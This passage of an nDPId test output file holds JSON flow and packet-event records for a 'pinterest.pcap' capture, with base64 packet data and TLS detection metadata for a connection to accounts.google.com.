+02102{"flow_id":22,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9728,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289716,"pkt_ts_usec":197706,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgFAAAAAAAAIAMqAcsBIEmLB5kd7IUo3\/YpAbuqKr\/h\/aPZWp0PgBgLj5wNAAABAQgKwrkp2WT0lXAXAwMEs4xJrVzn3Q6AhrkKyNwQrOHMt4bRFYr4sACAMylt8icreiuTpKVtX5jz3k7PXfj9u6SV1qcVv\/70ITEEFgqeeF+uSB5TpNp0hsRcBvaU6\/n9GoOLBZ\/2ixS1qWPj0z4Vd8DLutO5+UsUUEeDI+9rq0mg8Y0b1p28F2aBUbgXGLDD2tevK3HvRUOiN90EsEj\/kC+ye7pqzMy6pIobquQn7nMW\/s7LcDSVi6uUQYDtSkPDlbzfars0WQvPzieE8EPOoZioR9fGGieI7j7N2+e26Z9uYsBhuTUcTvnpr+nwWygQim0qTCW13cexl8u6iukMeDUqdWWO4nh9+TAmO\/gHjDZq8toN1p2IrGonJ03LFcij8BXeYrVyXk\/MDEYee+ci3EQzCsZCNZnQlsVL4Dzp4ex1st\/hyCiA0I52Q08KCaomDXiusVPl3tzFgzbeV9ZxnHVXwcBAd2Jd79mY5QhjM\/LlYZ0u3mfzCQeQ8Aj3X2qSEo6cEwO3yq2q9zOHxcAs47hTjHu0ny4JdSaK36KvVMzI\/uhGkfy3B158UxTzke6NQteOpCq3qC5IYqrRVeqp3ntyMuj+pPP1M64hlh471j5B1TR1Ct88tV9ki4tiRIHM0B65XZ\/p2pJTyXK4ifXOih1mih\/QFT+wLG4j739mdWweGToDw4bSaJA1OvlPEws750XSCRwsmBP677lkQ2Dv2T3H6Nlnh6uqKAXkzRXZ6PlS92toOqcQXHWBTRidG7XuYmfukgn50qCzn5MGdqaCO2OlWOTx53deJibYLQqOJ+\/dT8m68FvzIcgtfBJgVI+3ApMhoqCdmlyFIMSYC9ZqAA2VD49vnY\/27Fd9lrlrTDHQpwk4u7Gklhcr1YaA4fo+K41KdpGL20bGaXJWF6akF+FKmhcT+UfqO9gLnnG+hojUi+M8vi5NtyrGW87+OHjX7gZNQgoRlnh1p4uRVf47VT7nZ7lSxIVS\/vtD9bw5vUoaylu3ISGnXNPqac6C7R+sTNBiMdhhNPdpiOP7Z8u2nl4d86ShBCrLE\/xc9H2fzhXUu8p1vrG9ysU7LobX1J+VQXSjyGTsMWEXsR9bQk+6Wnwt8OIS1TVQ57yHvHWatS07PhHxWOz3sxiBKfWBjwm2FwQAJFJVW4a+N6GsId2r\/gJ0+dcO4UJg2fSGy2iUS8LSBR2+KPllgJ6+y24T0KvT7xxwju6ORSuVdMY\/xq68IJStFisFLaPDM7+eS4zZPVX6OlgH6NDzLq69WQp32UkoqhC2dNdL\/MjlXWXVrRATs2Zl6M25+c0EMF8iH08W8EztXmyNtYzDuFuLLWJuTBrkzBCAD97g1fO7kKh898MrHYJwG\/P+qHRhXCfi4ULDUGNsfe4jz5pkigQyL6dft5D8KGWJ7HFJLJGlH4dsaeNbmJ8znq3NqjvHpArqlCopVsGX2ZGmz9thNu\/V1gr+ffFKryKM9AMB1V5IIBVWQAIYIUBXXyloTrmqVWkLwGQYtvpKscMEsnnNCjJOfwYr\/uLTbz3hcG\/ZerVyBxG4IkkiEmoUwUEGATar69plggfxn9oMysPnMPAy4mH36bPhMMPgtf6Dt4GIjXZX4WV+LAoo1R1jMg=="} +02102{"flow_id":22,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9730,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289716,"pkt_ts_usec":197708,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgFAAAAAAAAIAMqAcsBIEmLB5kd7IUo3\/YpAbuqKr\/iAlvZWp0PgBgLj1zYAAABAQgKwrkp2WT0lXAXAwMEsyaeWPgU9Jk\/jahRvS3FpcbBTNKoT1YrfjAYrwQZWAQUtOcHCVQ2sMLozfm0HO7jAvsVT9G8bWD4+R8hyOb0Vri0Yg42bLUvbh+kb3jERH9xoLdG9\/USUDPxzkzKDJCfN2ltON5NAvjHedQSEJ70zy9nu6+AX5s0eEXRM54VyNhWtpnbYROQcoKjY6W7myGZQlizhG4hvCEE6nrfWAqT0zFDMXC1pLzPioPMwt9RgWbDUhcMWK+8LYj0Np7sGt+8wIfC54wFAay5ATKJ4wXp8RoXo\/U3iPZjSQUTZZfdPNNWilrIhYhxPMIiWeQK2qjnm74X\/yYoa73zLdpgGin2uJfD6ZS6cZ3spdTSP0olhPN1w+lOmunKf17myb2+iAmjAFK6hBS08stQcF9Qwyp7WNR2ww\/bse+GTY7QqUdnQMGyMdNC3wA0UekPUB+tAGoFMhm\/JVOm5pxSPcSf08xBC7aQQ5UoU9PD6wklldqskC5YVCP\/5XIIEoewdc9eQWnjYxwE5afHq+qBHRz20+8KzjJb7zCfjEZ4JoMKWzICQ+oG8AnTpRUqwBl93uu0Hl2kgke05oY3nb5EYnd1ixu42UMaunKbw1KDbuRCZWZZtXdsvAJ3YsHY+dH5T9LLmg7J3Ac+fz+HIzjWnwg78xwEdj\/dUobMpFtwf6ozNMa3AW3XLLmKA3geq4i4FC7lrGgkQLx5QiXvlNVRf4oAX1I7yuPk6lT3Awzqwtjd+etzIUZ\/E8bgAeAhGSGAPSuJwAGENS1hV6gXdtqBfALEKhmXya8c\/LI70U0X\/eYKxJl9T+z9PF\/7EHd3zBwIoWRwInDr36ivC3kj9XuPZ3Lr3KiIYO5s3MnG7oIfl4foFqTOmferdMHmJLWRNySkcaNzsaQBt9yZrDtknMEVKKDAzv\/D\/GSvuQCnghE2KGAaeeoJFC8BnEXVNGzeGWYFLb7+tGijhyBYTkITo5eCLJpzjdnfbwMFBalePWPK+Sg5rl327PLRPSNOeB9bmFNS8T7+aeMQOgcpUQlVFA\/K+XqLUlVx6n6WkKi4aouDcLIe9rOiXc5otbXzUuBLoK+wtdiYZO5jNLf3DTja8q1lPGGXfSM35QYZyMmp6J62EV3AenmDPAmyI7+J\/YyiP1ixNDlOd96i9eTMfqyyG1byOezhvykXF5xbJybKvQwE5Dsrqu\/8PMycihgj98L8F+B0NGqq6k23vVa5TJg8VLDN0XooREy2sy0qehqadmPkwpttWILtQ8Zo5pH5DgIb0+n01W\/f4zdxXXDuswkqhJLfJcyIGGuQNhfqX0zVoXWYYRR7PZaT\/vhxPmlMMjevqNNYu6mkB\/7VC7Ve0UwbtT9XdFo+koaLPzhIUqif5XkD2u8JzehRaMczYp5pTbJkBhvinNzBmf4PFAx\/CdMuiEFAMsDzBWWGT4GmJj5IWla6JiX6GTqQLUQ+kORwVDLwSY3bJCRFak7OTLFY71CSGyF5VN4PyYk8nVO\/jNHUkNRxcvoR21pkjwBxpHvApa7Z85K2ZEA9JSyK+2mytQW0+4Pxz5Hp6druXcVnIoPpJ8wBp\/YfDaFdxcJ1w\/+moRIZMZ60DJ+N9I++uE5xEA=="} +00460{"flow_id":22,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9732,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289716,"pkt_ts_usec":197721,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gB32\/ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBQAAAAAAACADqioBu9lanQ+\/4f2jgBAFKL9LAAABAQgKZPSVjcK5Kdk="} +00460{"flow_id":22,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9733,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289716,"pkt_ts_usec":197725,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gB32\/ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBQAAAAAAACADqioBu9lanQ+\/4gcTgBAFVLWvAAABAQgKZPSVjcK5Kdk="} +02100{"flow_id":22,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9735,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289716,"pkt_ts_usec":197739,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgFAAAAAAAAIAMqAcsBIEmLB5kd7IUo3\/YpAbuqKr\/iBxPZWp0PgBgLj+DOAAABAQgKwrkp2WT0lXAXAwMEs1qdxWANqYldh84zdMbqWXk98TT1o6ZNodyNYkvY+VFt04hS4zBfkI2Lqi0QF6Va1uUtj74etsL0VR7NU4yjSPF0YghWZoOmvydjvp9tM600tzhmSznkpTYYLS5KaxDjATOvu1n4lMsMLgIAP2L1eHfnpQDozGQbZrGjTq2RQSXqUl5vQwSTfj01+5\/fjREuUkHnytrRGTJt2XdygJoNhrJknwheWLsKbrlmG7ah5rVt+MKHUMmnCvdkoLLKs3RgozCCPxm6YxGXafpJBOAbWDGzIpw9mWptNg7T5\/LCAcj7PhHVE0ntjGPRTd4ZOBgLID0GQv3XUFaPMWQ\/7c9buxzT7dp\/39Rhl1xgGhjGVI3l2XYHHzxtvj1OcIS\/qtjQCU\/Lo+BJOoK1RitTlSOAyfExFnHk7wn5HPu6Eug9G2MzgwoqxSNHLTE9Y\/YV2nyhNskSXQWwWexYbZDuvSSv6LjrCPB1EYNV+VKE52DHxx2fxBWzSTA8yDkw\/OzDr2tBvybf54UpWBfJhvZ9SLl5uH8C2OQWRjdtju0dPeNvPcxIwtasCsOvhmhg5QxseOrrhseZo+nrEhIz06K1mO\/5fJEYrH3dYshNrK5r3xCyZcmr2LZe+zMuhj+3Z2Uzyo4gp1mhzvQAVMoR5gx7k6Fp4DpBg\/jgpSE6HxLKtTnNVCvDBnvViC6FWFGruSoIxr\/cbrzqnL+IyMntW3sXJf6crzBAVbZQus7soXODCOihonEqxWPpnoMyl5SVaoOcSnLtW\/YGXePormdwouZJyKTH+XyrXKB7bfyNf\/mQqNqO3GvJA9G+Sc7zJ4u2o0KN\/RN36LNMfVjIuqmPRmhX7gpcBYTYhXj3scOOkkynzAdviCFCuteSUHDM1rIawvsqJDiw6+Fy1fTxiuiVF75dZmg7c1NV0i5vOdgPMl\/lXEmbmkrWs6Xnkn+p+Zh5ZD3OH+SUlMmUG\/yVExpOw+aR04j6xTRu1W+TuXSEzJNVhhMzUNzuUDa9TNV7MuxsUpGGkNh2APTb8fH3AXmMZNfKzhiBNQ92rj2EnkQm+9oeD\/nfTxeN\/ugzjXkEz7wukOhCZ1lh2GAhqgyKzFyWbRXzbJXpW3ovzBDe0LM4OsUPwm1d9qArLGh1QNTfXOOSA5fngQKsj6LPsYMTLyu2zNc44aDoVoUQA5GzV65807oI25XT0KfSBNIu8RGbvlvDmw5G61jwAjrbaovxGuLZjkMdsi4bBsz750fNwfeWt4SabvRO4tSkWJCE5Yr\/iq2hiQyHDq7G+gf9w4H6tTedqwbUzegLDhV2VOhnHFhzLmMQWI8AriQUKKSfe16I58fRDs20uO3xJ6CakdVm3rRfwbB8QFCLPUbWEWQxPxDCJeC99fuVCSqwoEuBPB0us4zOj71aR63kawLmJb1dMA6ic8vzL18LvojyDuRi6GrF3LwFY9ecT6P\/h\/QgLgdP2ZssOBOy64HRR6s1Y1cFVvWmbeNzyE7KJuVLQH8TQRZNpwQBYSfaBEgCqEnPO+e0NQBoYEsim6Np6n7GAc+LFwlI5KynnDOZw14s\/oDxOo2oCr7GNu9BCKv0smX3bHGkhJVmXBQr7jzGQSVjwg=="} +02103{"flow_id":22,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9737,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289716,"pkt_ts_usec":197739,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgFAAAAAAAAIAMqAcsBIEmLB5kd7IUo3\/YpAbuqKr\/iC8vZWp0PgBgLj5kqAAABAQgKwrkp2WT0lXAXAwMEsx4aKrm07NhfEdRjo5cUOmgc3JMweTR6xE1lGKkfOVAF0ZyK1MrRFCWA7S+E1pWVhDzG9MZI7VKjAuCLwAa+KDcyxNKQ1AgH+evKvAGYv+2fqYVlwxJcrpTzTyXvmxBIRgq1McwOSWDhNVWqq5RfdfdXrDkjs+cUQvRsxSriGbPyjzyTfFUBgvKu5p0ZDhe95RMXKLDY7CNeuS8U0DdjQsP+jNS8HdNwn8Pcp\/ocVW7JF0yBJ7RL22inZ6bBYDL7wDFhBjp+LCeNLir9TB10TTZ0lb3p2qiK6gWTNOzJQU04GPgYEQ2YmKvzZXsoBO9PimCWgV9aZ342OsR+vppyiTVI+f+Lmr+QAcDqg61DISqw8iTDnjs6iU3edq6T\/UoZwssJeOxAXuZv7EoCf7J6+iF7TT0fwW1bgsKAc8cGAAsNjRf3Q7l711MXLBHMXx6Oyc0Q3Emaz8DGO4SR+A4T6AuSBo53dJlGyB54RKq6kdrFeVQxq6PkzU3kdhFGRZdoBoinJkrD\/MCgOodZsmj8VpoNih1W2Veyzv73i107VmHTcs6tKeGWSABaTAadKgj3QpGYQx9M4yQPycsDbPKQj0cuJfgj3JBCazY73h+5zheM6ItLFzaH53aESQT4HUF1k7gMi45lYk8REbopF9LTO4ZD30oT32Ja7SIJplnZPIZaeQRvZCZjvDp3tO966VFfSbgMAgMfvxCCZUWfJ0hLNmC4k7Uqd977piXRuQyb1aTDRDp\/wevM9exb4l96mWawAYo7BiEmkqhyhUmxgTgSY1hXmuVK793dbqxItPnvvipW85\/1lCY2fUzUEo1ATYmIVH\/Dc3\/H+AbBCY5OUpbTq4jeL59jjOBxI5R6nqkXwWqb\/NuCSo8jnzghBzsP3P\/iKxLw0QFWN5SXjwrI28Ywgb\/GCZerGdtHRbfpMg7bO7lUbm+PgUAk\/91aCe+tgyfkTfvpW8Av8dmQ8f8kPecroG5RtHxe\/B37rqG7OntX49IJyji6iJyZr3f9iNErSMo33tYAkEMlH3Iuy+2KIoZi5kHbr3lQI9xAygR2QH4GQxGp3QJcXzTF\/OsnA8XFIIpRQ6yDtaxh2nNK+ve1VZ8VLIOJjYym3Qrao95sYWZmhDzxsj7etPN3dNGkFUjikV5o7tJrCG3UE0UlgBI5z10c5bWpV1+Y6ar7ndHq3VhgHd4\/MZIjGNhdxHFMHESfp\/FWeyB5OvOAwP5SnRwHC94ua+KazdeoOZsUKHrZTO7h\/idmoQH2uTO6zRwVov0QC\/17SyPIlmqVFMp4Xf\/HYpDOt7elybzwyGLTjQgjnpQI\/9a9KQt+CD3kY50X3XBb7vQpD\/pwGJi0u93C+kPYb8c7SpY5AV6EspWyOXrPluD8vpRwWlzeeObi\/dojNBVMDHlPmWP\/ECgsYHKo9eLYuz0QWA9HP4d74JsaRbAHI1spabm9x2U1ONF8dIBQ7x+PGuIy9+Gy1d38HdYmDmdDieZtTqng\/4QahIxX8xxPV\/LxEqAr289Nd1BMQh5Yq1XyP0j8JMZoClugwHGxufh9ZttBu8IZ3ChRl8ctn1D1e5IJrGGplB4ULXL\/6U6zbrBjDhKuqrOxTA=="} +00517{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":14612,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1605289717548,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:816::200d","src_port":40894,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00470{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14612,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289717,"pkt_ts_usec":548570,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gD67DACgGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFgAAAAAAACANn74Bu+7PaD4AAAAAoAL9ID+FAAACBAWgBAIICjGG9eUAAAAAAQMDBw=="} +00472{"flow_id":23,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14613,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289717,"pkt_ts_usec":572004,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoAFFBABwgWAAAAAAAAIA0qAcsBIEmLB5kd7IUo3\/YpAbufvovR75juz2g\/oBJXgHfiAAACBAV4AQMDAwQCCArCuS86MYb15Q=="} +00460{"flow_id":23,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14614,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289717,"pkt_ts_usec":572182,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gD67DACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFgAAAAAAACANn74Bu+7PaD+L0e+ZgBAB+\/vbAAABAQgKMYb1\/cK5Lzo="} +01152{"flow_id":23,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14615,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289717,"pkt_ts_usec":572787,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gD67DAiUGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFgAAAAAAACANn74Bu+7PaD+L0e+ZgBgB+0DvAAABAQgKMYb1\/cK5LzoWAwECAAEAAfwDA800cC9OVh30oKukmv7TjuGOfIQsAXjOcIds0bgi09HFIBoSrrmErFO1TCZKJVvIhS6wQO5Ret2I7u3t0EJASsOHACBaWhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZNKSgAAAAAAGAAWAAATYWNjb3VudHMuZ29vZ2xlLmNvbQAXAAD\/AQABAAAKAAoACHp6AB0AFwAYAAsAAgEAACMAAAAQAA4ADAJoMghodHRwLzEuMQAFAAUBAAAAAAANABIAEAQDCAQEAQUDCAUFAQgGBgEAEgAAADMAKwApenoAAQAAHQAg3SQzsRLwlL1ZHWLzcJyUxb7R5EthsHkv9Gz6Dx5HIhsALQACAQEAKwALCoqKAwQDAwMCAwEAGwADAgACysoAAQAAFQDJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00835{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":14615,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":4,"flow_first_seen":1605289717548,"flow_last_seen":1605289717572,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:816::200d","src_port":40894,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"accounts.google.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00459{"flow_id":23,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14616,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289717,"pkt_ts_usec":599829,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgWAAAAAAAAIA0qAcsBIEmLB5kd7IUo3\/YpAbufvovR75nuz2pEgBALMPCFAAABAQgKwrkvVjGG9f0="} +02101{"flow_id":23,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14617,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289717,"pkt_ts_usec":605090,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgWAAAAAAAAIA0qAcsBIEmLB5kd7IUo3\/YpAbufvovR75nuz2pEgBgLMF\/dAAABAQgKwrkvXDGG9f0WAwMAegIAAHYDA\/I4MxKv7esPzoTPboG3UkXi0nV9UkrFfhPuR+P2gBOmIBoSrrmErFO1TCZKJVvIhS6wQO5Ret2I7u3t0EJASsOHEwEAAC4AMwAkAB0AINC6VJlJ3GLxoEjuLhUim09KnNJd7FcNknsdbAL9odUyACsAAgMEFAMDAAEBFwMDCeBSqWL\/CwU8c4uQYK2YL4I2CNJ+NMvCk2fKesWxjcuS2yvyx9w0T25emPWikMs+bALI4AhDR+z8A487df7VzSIZSLm1kYKKjYw+i3Dhr2SK9ddH4Cc43EgMP7K++Dqsis37\/iqwJpZ4IZCAu+0RmoBhgoSZU2zUUWvqLztLR41sdlBhTg\/ICBefNBdknr7DpOxBHgxXg+fwuDRoqJJGPp6pH\/JUyEEdAq1ljBtEFSWHGcuTEnPqv3AXI\/3T\/lNfHzNJ0fCWF6MnHa8Qb+4Ns1gMSFOwQEZ1o629WCXGELEUyGhK0cmY6m9UXlYIvJNjrdMOGx2hNMLfyQDaXrE1NKd2F0RlLzi0wDvbSERfael3xChw6UNpG+P+cuOONephlfgZ8DZ205Gb2FBigoQ2zCFLmBixdA1v4Il\/5ay+WjTQgS51Wkh1ABKMwpvG0eCz30gMvb1A96TB9Z6f4fm4NQKIgvu+4j0LGicaAva7n47T3rEMr6ASs8+pKZ65OBmRxgWNvidsDphoBBHLtPKffRixHBP1+9E\/Pu78s8llfDzrDZPlcqd2pDU194KigVSWBRWwGR7FAmEiyifCzG3fqlsmDYdvpZ0PqTx3IQ59TT4ZWf8gs6za+\/Pj13dbO2H73jJCTyTEbdnQSu6NL+d10gSczMahpfgL8UDRhagWV3AtmNbtF8Qfw1PDuCDyQ0vx2HXfy5Y7rlH8G44OKNndExFtKeBtdcNu2V2qpuw8lhtaXDK5Q96M0QPrp0P\/UsHR4VsF0JaPx90b9fm+yA7r9DSQG\/cNQnGiMxExOww\/qTQXBLT+KCQ5JDK9\/fwPeZ\/k7+UDQSZ67pgdqVdIxbExUX\/M77JHH6H2G2UGB9Yy6rpOC1sAmJDauDmhZWR5pe42XdNveTMLetXLeJfnNOWdiGWcqTpvHADsH1qG9vyknyZi\/6xHKD97Tkb3n1+lXkH0OLAZmqTotPZqLfEZOtmhg804zchBFWB6Dy1e0v5OTADZs8z6dM1SMwK23EttV2209CkyCDwwP8McM3ifyaB3XaxOhNaPUseg6eB9Dxxcfzb7oVO0VVhxCw8X5JPIxi8vldqbk+C0CCImNNlznzbU5zmRa84PI\/lzQnFu6vObUYN7FS5Hf5TNoyArK3L2dQy7Ua5K\/lbc+5+2RpSBLQHotd5UPSKf2CH9KfK\/I7b0BwhGjTokREFE\/Cik8C958ftT7Kk9xwj0bcWJthBpNW8KsxE3P2ACMqXvGJ6SEusjvOmmT+1B4YTWx7vxz1pb6Z7eimemzYxppwzfFoNSESNzBXqjMiWFv3cDfE09g7U0tOECnAp\/ydNfsoS0ZxEI+gXFIZFMO8HQjzFl5xVQKr6PCkn8oNmJVHKuEnhXFu3U1Uw8DrIdiKDg\/MzwY4FX+284sizn63dFLIV7BCVKEDHttQ=="} +00876{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":14617,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":6,"flow_first_seen":1605289717548,"flow_last_seen":1605289717605,"flow_tot_l4_data_len":1933,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":322,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:816::200d","src_port":40894,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"accounts.google.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02099{"flow_id":23,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14618,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289717,"pkt_ts_usec":605092,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgWAAAAAAAAIA0qAcsBIEmLB5kd7IUo3\/YpAbufvovR9FHuz2pEgBgLMNV7AAABAQgKwrkvXDGG9f2KGEnWFX\/fb5ERNscdU+CA8ZwYa1UuXrEFIwM8wmiHsWcEPYeoimiCYJNKr\/OwZ19JOQQ\/A8cu2kTcAo43fKLUNKUKXYXjXEaHWTpBvhchXb9WhjoJxUUP4+tR1kT1VHE4lWXjIHQtzswVwV6++5klLrjcOMRnT7H2sr8r7GItC4HpkBFd6EHxY4SKZy9kaYPgiyyPWkKzq4z\/ObdLl8VaV0a8ChbGmgILW4HXwly6Qu3u8SggY2n0r1Zt2VlxnzCbIIY1wQpADQBMOpfAMKjmpOg2Th7ndHNf8qj8mNJsq8Xbm0XJG+QbHfNfyro4r0DHtTrHXa5eOeV7tnxnBhAaRy4clhDmqceds8hrgnM3qaU1dZx1lJnherBjWYhkCNPojRyCxR\/N8Jkm7uYEHdLNIeJjoWZRAfPCTnrLsy6JMlSmHsNhDQvDbbGrZbafApVWXXFchAUY4rr03l9nXo0L6XwwXBSKlK81Z5MXNHe512xDpc7Gte7whuEUOCSlb\/JWcXxX7qHn1OGLWcJP+gMxF2HTh59\/TbOC\/exOy0lpP66YlYIryjBePG2q7eIYBDJNOTDZkKd+1YSe0QqbQxgAtU9mDa79\/AIgoyI4Y\/+8y1IHeIedGlV4GGD9SFjmOOrr3gyIAb0dt9NG8ejD6PLuYcn+5obgFSBZcXvfgZEon3gEqfzlNlDqD5ZlCGwog+8bpyajFN1CugPYQDdep5hH1oSgvnT7hxvWpXwldijwTlwM+th6imXQIMQp1MO9iXZVoJu84loL0DbQOiQ1jqmO34yuYrecqr6DmyH97W5g\/Y9Y+H2eY4af2bBiYvaG81xCwjvynaJYtvNDPF5I1tCt5qea22J8ZLA3RsIlBYpDkA4dgErTwSUEg5xBKrb6sUTRtOxKitfhvfbDhcibeWLOIGoOi6aw2oY\/cfpjpA4fkHZdI4kJJOPPfZ\/\/DU+sOsLwH0+V+s46kVVB5gh0PH4BnAjIOupKeofDO23Rrtx75ZuqCJDLwKCdA4kQmzXL9lOZkEJNlCduZuxU9To30NgZRtHw9SxE1QSB54QFQLURAzA3UsAk8o2VjwLurmfmQZRvom0yT0s9QUPo2THFcAmd0oHHQCh6+TdsERhDORXnEp4TggVLBMguvJ1h5hVMsw\/635lsJQ2QdsgqtbhNbsgCIb5frOwouMEttpCHIq